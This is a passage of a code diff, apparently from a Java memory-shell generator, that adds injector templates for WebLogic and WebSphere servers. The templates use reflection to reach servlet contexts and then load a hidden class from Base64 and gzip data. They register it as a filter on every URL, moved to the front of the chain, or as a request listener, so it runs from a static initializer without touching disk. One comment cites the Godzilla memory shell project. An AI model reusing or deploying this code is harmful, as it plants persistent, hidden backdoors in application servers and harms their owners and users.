||||
}
|
||||
} else {
|
||||
try {
|
||||
return method.invoke(obj, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,292 @@
|
||||
package jmg.core.template;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.Array;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.*;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
public class WebLogicFilterInjectorTpl {
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "/*";
|
||||
}
|
||||
|
||||
|
||||
public String getClassName() {
|
||||
return "";
|
||||
}
|
||||
|
||||
public String getBase64String() throws IOException {
|
||||
return "";
|
||||
}
|
||||
|
||||
static {
|
||||
new WebLogicFilterInjectorTpl();
|
||||
}
|
||||
|
||||
|
||||
public WebLogicFilterInjectorTpl() {
|
||||
try {
|
||||
Object[] contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object filter = getFilter(context);
|
||||
addFilter(context, filter);
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
public static Object[] getContextsByMbean() throws Throwable {
|
||||
HashSet webappContexts = new HashSet();
|
||||
Class serverRuntimeClass = Class.forName("weblogic.t3.srvr.ServerRuntime");
|
||||
Class webAppServletContextClass = Class.forName("weblogic.servlet.internal.WebAppServletContext");
|
||||
Method theOneMethod = serverRuntimeClass.getMethod("theOne");
|
||||
theOneMethod.setAccessible(true);
|
||||
Object serverRuntime = theOneMethod.invoke(null);
|
||||
|
||||
Method getApplicationRuntimesMethod = serverRuntime.getClass().getMethod("getApplicationRuntimes");
|
||||
getApplicationRuntimesMethod.setAccessible(true);
|
||||
Object applicationRuntimes = getApplicationRuntimesMethod.invoke(serverRuntime);
|
||||
int applicationRuntimeSize = Array.getLength(applicationRuntimes);
|
||||
for (int i = 0; i < applicationRuntimeSize; i++) {
|
||||
Object applicationRuntime = Array.get(applicationRuntimes, i);
|
||||
|
||||
try {
|
||||
Method getComponentRuntimesMethod = applicationRuntime.getClass().getMethod("getComponentRuntimes");
|
||||
Object componentRuntimes = getComponentRuntimesMethod.invoke(applicationRuntime);
|
||||
int componentRuntimeSize = Array.getLength(componentRuntimes);
|
||||
for (int j = 0; j < componentRuntimeSize; j++) {
|
||||
Object context = getFV(Array.get(componentRuntimes, j), "context");
|
||||
if (webAppServletContextClass.isInstance(context)) {
|
||||
webappContexts.add(context);
|
||||
}
|
||||
}
|
||||
} catch (Throwable e) {
|
||||
|
||||
}
|
||||
|
||||
try {
|
||||
Set childrenSet = (Set) getFV(applicationRuntime, "children");
|
||||
Iterator iterator = childrenSet.iterator();
|
||||
|
||||
while (iterator.hasNext()) {
|
||||
Object componentRuntime = iterator.next();
|
||||
try {
|
||||
Object context = getFV(componentRuntime, "context");
|
||||
if (webAppServletContextClass.isInstance(context)) {
|
||||
webappContexts.add(context);
|
||||
}
|
||||
} catch (Throwable e) {
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
} catch (Throwable e) {
|
||||
|
||||
}
|
||||
}
|
||||
return webappContexts.toArray();
|
||||
}
|
||||
|
||||
public static Object[] getContextsByThreads() throws Throwable {
|
||||
HashSet webappContexts = new HashSet();
|
||||
ThreadGroup threadGroup = Thread.currentThread().getThreadGroup();
|
||||
int threadCount = threadGroup.activeCount();
|
||||
Thread[] threads = new Thread[threadCount];
|
||||
threadGroup.enumerate(threads);
|
||||
for (int i = 0; i < threadCount; i++) {
|
||||
Thread thread = threads[i];
|
||||
if (thread != null) {
|
||||
Object workEntry = getFV(thread, "workEntry");
|
||||
if (workEntry != null) {
|
||||
try {
|
||||
Object context = null;
|
||||
Object connectionHandler = getFV(workEntry, "connectionHandler");
|
||||
if (connectionHandler != null) {
|
||||
Object request = getFV(connectionHandler, "request");
|
||||
if (request != null) {
|
||||
context = getFV(request, "context");
|
||||
}
|
||||
}
|
||||
if (context == null) {
|
||||
context = getFV(workEntry, "context");
|
||||
}
|
||||
|
||||
if (context != null) {
|
||||
webappContexts.add(context);
|
||||
}
|
||||
} catch (Throwable e) {
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return webappContexts.toArray();
|
||||
}
|
||||
|
||||
public static Object[] getContext() {
|
||||
HashSet webappContexts = new HashSet();
|
||||
try {
|
||||
webappContexts.addAll(Arrays.asList(getContextsByMbean()));
|
||||
} catch (Throwable e) {
|
||||
|
||||
}
|
||||
try {
|
||||
webappContexts.addAll(Arrays.asList(getContextsByThreads()));
|
||||
} catch (Throwable e) {
|
||||
|
||||
}
|
||||
return webappContexts.toArray();
|
||||
}
|
||||
|
||||
private Object getFilter(Object context) {
|
||||
Object filter = null;
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
if (classLoader == null) {
|
||||
classLoader = context.getClass().getClassLoader();
|
||||
}
|
||||
try {
|
||||
filter = classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
try {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
filter = clazz.newInstance();
|
||||
} catch (Throwable tt) {
|
||||
}
|
||||
}
|
||||
return filter;
|
||||
}
|
||||
|
||||
/**
|
||||
* https://github.com/BeichenDream/GodzillaMemoryShellProject
|
||||
*/
|
||||
public void addFilter(Object context, Object filter) throws Exception {
|
||||
String filterClassName = filter.getClass().getName();
|
||||
if (!isInjected(context, filterClassName)) {
|
||||
try {
|
||||
Object filterManager = invokeMethod(context, "getFilterManager");
|
||||
Object servletClassLoader = invokeMethod(context, "getServletClassLoader");
|
||||
Map cachedClasses = (Map) getFV(servletClassLoader, "cachedClasses");
|
||||
//或者直接反射在这个classloader定义类 就不用写缓存了 不过就要硬编码一个class了
|
||||
cachedClasses.put(filterClassName, filter.getClass());
|
||||
invokeMethod(filterManager, "registerFilter", new Class[]{String.class, String.class, String[].class, String[].class, Map.class, String[].class}, new Object[]{filterClassName, filterClassName, new String[]{getUrlPattern()}, null, null, new String[]{"REQUEST", "FORWARD", "INCLUDE", "ERROR"}});
|
||||
//将filter置为第一位
|
||||
List filterPatternList = (List) getFV(filterManager, "filterPatternList");
|
||||
Object currentMapping = filterPatternList.remove(filterPatternList.size() - 1);
|
||||
filterPatternList.add(0, currentMapping);
|
||||
} catch (Throwable e) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static boolean isInjected(Object context, String filterClassName) throws Exception {
|
||||
HashMap filters = (HashMap) getFV(getFV(context, "filterManager"), "filters");
|
||||
for (Object obj : filters.keySet()) {
|
||||
if (obj.toString().contains(filterClassName))
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
|
||||
GZIPInputStream ungzip = new GZIPInputStream(in);
|
||||
byte[] buffer = new byte[256];
|
||||
int n;
|
||||
while ((n = ungzip.read(buffer)) >= 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
}
|
||||
|
||||
|
||||
static Object getFV(Object obj, String fieldName) throws Exception {
|
||||
Field field = getF(obj, fieldName);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
|
||||
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != null) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(fieldName);
|
||||
field.setAccessible(true);
|
||||
return field;
|
||||
} catch (NoSuchFieldException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(fieldName);
|
||||
}
|
||||
|
||||
|
||||
private static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||
}
|
||||
|
||||
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
|
||||
Method method = null;
|
||||
|
||||
Class tempClass = clazz;
|
||||
while (method == null && tempClass != null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
// Get all declared methods of the class
|
||||
Method[] methods = tempClass.getDeclaredMethods();
|
||||
for (int i = 0; i < methods.length; i++) {
|
||||
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
|
||||
method = methods[i];
|
||||
break;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
method = tempClass.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
tempClass = tempClass.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException(methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
if (obj instanceof Class) {
|
||||
try {
|
||||
return method.invoke(null, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
} else {
|
||||
try {
|
||||
return method.invoke(obj, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,274 @@
|
||||
package jmg.core.template;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.Array;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.*;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
|
||||
public class WebLogicListenerInjectorTpl {
|
||||
public String getClassName() {
|
||||
return "";
|
||||
}
|
||||
|
||||
public String getBase64String() throws IOException {
|
||||
return "";
|
||||
}
|
||||
|
||||
static {
|
||||
new WebLogicListenerInjectorTpl();
|
||||
}
|
||||
|
||||
public WebLogicListenerInjectorTpl() {
|
||||
try {
|
||||
Object[] contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object listener = getListener(context);
|
||||
registerListener(context, listener);
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
public static Object[] getContextsByMbean() throws Throwable {
|
||||
HashSet webappContexts = new HashSet();
|
||||
Class serverRuntimeClass = Class.forName("weblogic.t3.srvr.ServerRuntime");
|
||||
Class webAppServletContextClass = Class.forName("weblogic.servlet.internal.WebAppServletContext");
|
||||
Method theOneMethod = serverRuntimeClass.getMethod("theOne");
|
||||
theOneMethod.setAccessible(true);
|
||||
Object serverRuntime = theOneMethod.invoke(null);
|
||||
|
||||
Method getApplicationRuntimesMethod = serverRuntime.getClass().getMethod("getApplicationRuntimes");
|
||||
getApplicationRuntimesMethod.setAccessible(true);
|
||||
Object applicationRuntimes = getApplicationRuntimesMethod.invoke(serverRuntime);
|
||||
int applicationRuntimeSize = Array.getLength(applicationRuntimes);
|
||||
for (int i = 0; i < applicationRuntimeSize; i++) {
|
||||
Object applicationRuntime = Array.get(applicationRuntimes, i);
|
||||
|
||||
try {
|
||||
Method getComponentRuntimesMethod = applicationRuntime.getClass().getMethod("getComponentRuntimes");
|
||||
Object componentRuntimes = getComponentRuntimesMethod.invoke(applicationRuntime);
|
||||
int componentRuntimeSize = Array.getLength(componentRuntimes);
|
||||
for (int j = 0; j < componentRuntimeSize; j++) {
|
||||
Object context = getFV(Array.get(componentRuntimes, j), "context");
|
||||
if (webAppServletContextClass.isInstance(context)) {
|
||||
webappContexts.add(context);
|
||||
}
|
||||
}
|
||||
} catch (Throwable e) {
|
||||
|
||||
}
|
||||
|
||||
try {
|
||||
Set childrenSet = (Set) getFV(applicationRuntime, "children");
|
||||
Iterator iterator = childrenSet.iterator();
|
||||
|
||||
while (iterator.hasNext()) {
|
||||
Object componentRuntime = iterator.next();
|
||||
try {
|
||||
Object context = getFV(componentRuntime, "context");
|
||||
if (webAppServletContextClass.isInstance(context)) {
|
||||
webappContexts.add(context);
|
||||
}
|
||||
} catch (Throwable e) {
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
} catch (Throwable e) {
|
||||
|
||||
}
|
||||
}
|
||||
return webappContexts.toArray();
|
||||
}
|
||||
|
||||
public static Object[] getContextsByThreads() throws Throwable {
|
||||
HashSet webappContexts = new HashSet();
|
||||
ThreadGroup threadGroup = Thread.currentThread().getThreadGroup();
|
||||
int threadCount = threadGroup.activeCount();
|
||||
Thread[] threads = new Thread[threadCount];
|
||||
threadGroup.enumerate(threads);
|
||||
for (int i = 0; i < threadCount; i++) {
|
||||
Thread thread = threads[i];
|
||||
if (thread != null) {
|
||||
Object workEntry = getFV(thread, "workEntry");
|
||||
if (workEntry != null) {
|
||||
try {
|
||||
Object context = null;
|
||||
Object connectionHandler = getFV(workEntry, "connectionHandler");
|
||||
if (connectionHandler != null) {
|
||||
Object request = getFV(connectionHandler, "request");
|
||||
if (request != null) {
|
||||
context = getFV(request, "context");
|
||||
}
|
||||
}
|
||||
if (context == null) {
|
||||
context = getFV(workEntry, "context");
|
||||
}
|
||||
|
||||
if (context != null) {
|
||||
webappContexts.add(context);
|
||||
}
|
||||
} catch (Throwable e) {
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return webappContexts.toArray();
|
||||
}
|
||||
|
||||
public static Object[] getContext() {
|
||||
HashSet webappContexts = new HashSet();
|
||||
try {
|
||||
webappContexts.addAll(Arrays.asList(getContextsByMbean()));
|
||||
} catch (Throwable e) {
|
||||
|
||||
}
|
||||
try {
|
||||
webappContexts.addAll(Arrays.asList(getContextsByThreads()));
|
||||
} catch (Throwable e) {
|
||||
|
||||
}
|
||||
return webappContexts.toArray();
|
||||
}
|
||||
|
||||
private Object getListener(Object context) {
|
||||
|
||||
Object listener = null;
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
if (classLoader == null) {
|
||||
classLoader = context.getClass().getClassLoader();
|
||||
}
|
||||
try {
|
||||
listener = classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
try {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
listener = clazz.newInstance();
|
||||
} catch (Throwable tt) {
|
||||
}
|
||||
}
|
||||
return listener;
|
||||
}
|
||||
|
||||
public void registerListener(Object context, Object listener) throws Exception {
|
||||
String listenerClassName = listener.getClass().getName();
|
||||
if (!isInjected(context, listenerClassName)) {
|
||||
try {
|
||||
Object eventsManager = getFV(context, "eventsManager");
|
||||
invokeMethod(eventsManager, "registerEventListener", new Class[]{String.class}, new Object[]{listenerClassName});
|
||||
} catch (Exception e) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static boolean isInjected(Object context, String listenerClassName) throws Exception {
|
||||
ArrayList requestListeners = (ArrayList) getFV(getFV(context, "eventsManager"), "requestListeners");
|
||||
for (int i = 0; i < requestListeners.size(); i++) {
|
||||
if (requestListeners.get(i).getClass().getName().contains(listenerClassName)) return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
|
||||
GZIPInputStream ungzip = new GZIPInputStream(in);
|
||||
byte[] buffer = new byte[256];
|
||||
int n;
|
||||
while ((n = ungzip.read(buffer)) >= 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
}
|
||||
|
||||
static Object getFV(Object obj, String fieldName) throws Exception {
|
||||
Field field = getF(obj, fieldName);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
|
||||
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != null) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(fieldName);
|
||||
field.setAccessible(true);
|
||||
return field;
|
||||
} catch (NoSuchFieldException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(fieldName);
|
||||
}
|
||||
|
||||
|
||||
private static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||
}
|
||||
|
||||
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
|
||||
Method method = null;
|
||||
|
||||
Class tempClass = clazz;
|
||||
while (method == null && tempClass != null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
// Get all declared methods of the class
|
||||
Method[] methods = tempClass.getDeclaredMethods();
|
||||
for (int i = 0; i < methods.length; i++) {
|
||||
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
|
||||
method = methods[i];
|
||||
break;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
method = tempClass.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
tempClass = tempClass.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException(methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
if (obj instanceof Class) {
|
||||
try {
|
||||
return method.invoke(null, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
} else {
|
||||
try {
|
||||
return method.invoke(obj, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,272 @@
|
||||
package jmg.core.template;
|
||||
|
||||
import javax.servlet.Filter;
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
|
||||
/**
|
||||
* tested v7、v8
|
||||
* update 2023/07/08
|
||||
*/
|
||||
public class WebSphereFilterInjectorTpl {
|
||||
public String getUrlPattern() {
|
||||
return "/*";
|
||||
}
|
||||
|
||||
|
||||
public String getClassName() {
|
||||
return "";
|
||||
}
|
||||
|
||||
public String getBase64String() throws IOException {
|
||||
return "";
|
||||
}
|
||||
|
||||
static {
|
||||
new WebSphereFilterInjectorTpl();
|
||||
}
|
||||
|
||||
|
||||
public WebSphereFilterInjectorTpl() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object filter = getFilter(context);
|
||||
addFilter(context, filter);
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
public List<Object> getContext() throws Exception {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
Object context;
|
||||
Object obj = getFV(Thread.currentThread(), "wsThreadLocals");
|
||||
Object[] wsThreadLocals = (Object[]) obj;
|
||||
for (Object wsThreadLocal : wsThreadLocals) {
|
||||
obj = wsThreadLocal;
|
||||
// for websphere 7.x
|
||||
if (obj != null && obj.getClass().getName().endsWith("FastStack")) {
|
||||
Object[] stackList = (Object[]) getFV(obj, "stack");
|
||||
for (Object stack : stackList) {
|
||||
try {
|
||||
Object config = getFV(stack, "config");
|
||||
context = getFV(getFV(config, "context"), "context");
|
||||
contexts.add(context);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
} else if (obj != null && obj.getClass().getName().endsWith("WebContainerRequestState")) {
|
||||
context = getFV(getFV(getFV(getFV(getFV(obj, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context");
|
||||
contexts.add(context);
|
||||
}
|
||||
}
|
||||
return contexts;
|
||||
}
|
||||
|
||||
|
||||
public void addFilter(Object context, Object filter) throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException {
|
||||
String filterName = getFilterName(getClassName());
|
||||
try {
|
||||
if (!isAdded(context, filterName)) {
|
||||
Class filterMappingClass;
|
||||
Class iFilterConfigClass;
|
||||
Class iServletConfigClass;
|
||||
ClassLoader classLoader;
|
||||
try {
|
||||
classLoader = context.getClass().getClassLoader();
|
||||
filterMappingClass = classLoader.loadClass("com.ibm.ws.webcontainer.filter.FilterMapping");
|
||||
iFilterConfigClass = classLoader.loadClass("com.ibm.wsspi.webcontainer.filter.IFilterConfig");
|
||||
iServletConfigClass = classLoader.loadClass("com.ibm.wsspi.webcontainer.servlet.IServletConfig");
|
||||
} catch (Exception e) {
|
||||
classLoader = Thread.currentThread().getContextClassLoader();
|
||||
filterMappingClass = classLoader.loadClass("com.ibm.ws.webcontainer.filter.FilterMapping");
|
||||
iFilterConfigClass = classLoader.loadClass("com.ibm.wsspi.webcontainer.filter.IFilterConfig");
|
||||
iServletConfigClass = classLoader.loadClass("com.ibm.wsspi.webcontainer.servlet.IServletConfig");
|
||||
}
|
||||
|
||||
Object filterManager = getFV(context, "filterManager");
|
||||
try {
|
||||
// v8
|
||||
Constructor<?> constructor = filterMappingClass.getConstructor(String.class, iFilterConfigClass, iServletConfigClass);
|
||||
// com.ibm.ws.webcontainer.webapp.WebApp.commonAddFilter
|
||||
setFV(context, "initialized", false);
|
||||
Object filterConfig = invokeMethod(context, "commonAddFilter", new Class[]{String.class, String.class, Filter.class, Class.class}, new Object[]{filterName, getClassName(), filter, filter.getClass()});
|
||||
Object filterMapping = constructor.newInstance(getUrlPattern(), filterConfig, null);
|
||||
setFV(context, "initialized", true);
|
||||
|
||||
// com.ibm.ws.webcontainer.filter.WebAppFilterManager.addFilterMapping
|
||||
invokeMethod(filterManager, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMapping});
|
||||
|
||||
// com.ibm.ws.webcontainer.filter.WebAppFilterManager#_loadFilter
|
||||
invokeMethod(filterManager, "_loadFilter", new Class[]{String.class}, new Object[]{filterName});
|
||||
|
||||
} catch (Exception e) {
|
||||
// v7
|
||||
Object filterConfig = invokeMethod(context, "createFilterConfig", new Class[]{String.class}, new Object[]{filterName});
|
||||
invokeMethod(filterConfig, "setFilterClassName", new Class[]{String.class}, new Object[]{filter.getClass().getName()});
|
||||
setFV(filterConfig, "dispatchMode", new int[]{0});
|
||||
setFV(filterConfig, "name", filterName);
|
||||
invokeMethod(context, "addMappingFilter", new Class[]{String.class, iFilterConfigClass}, new Object[]{getUrlPattern(), filterConfig});
|
||||
ArrayList _uriFilterMappings = (ArrayList) getFV(filterManager, "_uriFilterMappings");
|
||||
int lastIndex = _uriFilterMappings.size() - 1;
|
||||
Object lastElement = _uriFilterMappings.remove(lastIndex);
|
||||
_uriFilterMappings.add(0, lastElement);
|
||||
invokeMethod(filterManager, "_loadFilter", new Class[]{String.class}, new Object[]{filterName});
|
||||
|
||||
}
|
||||
// 清除缓存
|
||||
invokeMethod(getFV(filterManager, "chainCache"), "clear");
|
||||
}
|
||||
} catch (Exception ex) {
|
||||
}
|
||||
}
|
||||
|
||||
public String getFilterName(String className) {
|
||||
if (className.contains(".")) {
|
||||
int lastDotIndex = className.lastIndexOf(".");
|
||||
return className.substring(lastDotIndex + 1);
|
||||
} else {
|
||||
return className;
|
||||
}
|
||||
}
|
||||
|
||||
public boolean isAdded(Object context, String filterName) throws Exception {
|
||||
Object webAppConfiguration = getFV(context, "config");
|
||||
List filerMappings = (List) invokeMethod(webAppConfiguration, "getFilterMappings");
|
||||
for (int i = 0; i < filerMappings.size(); i++) {
|
||||
Object config = invokeMethod(filerMappings.get(i), "getFilterConfig");
|
||||
String name = (String) invokeMethod(config, "getFilterName");
|
||||
if (name.equals(filterName)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||
}
|
||||
|
||||
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
|
||||
Method method = null;
|
||||
|
||||
Class tempClass = clazz;
|
||||
while (method == null && tempClass != null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
// Get all declared methods of the class
|
||||
Method[] methods = tempClass.getDeclaredMethods();
|
||||
for (int i = 0; i < methods.length; i++) {
|
||||
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
|
||||
method = methods[i];
|
||||
break;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
method = tempClass.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
tempClass = tempClass.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException(methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
if (obj instanceof Class) {
|
||||
try {
|
||||
return method.invoke(null, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
} else {
|
||||
try {
|
||||
return method.invoke(obj, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public Object getFilter(Object context) {
|
||||
Object filter = null;
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
if (classLoader == null) {
|
||||
classLoader = context.getClass().getClassLoader();
|
||||
}
|
||||
try {
|
||||
filter = classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
try {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class filterClass = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
filter = filterClass.newInstance();
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
return filter;
|
||||
}
|
||||
|
||||
public static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
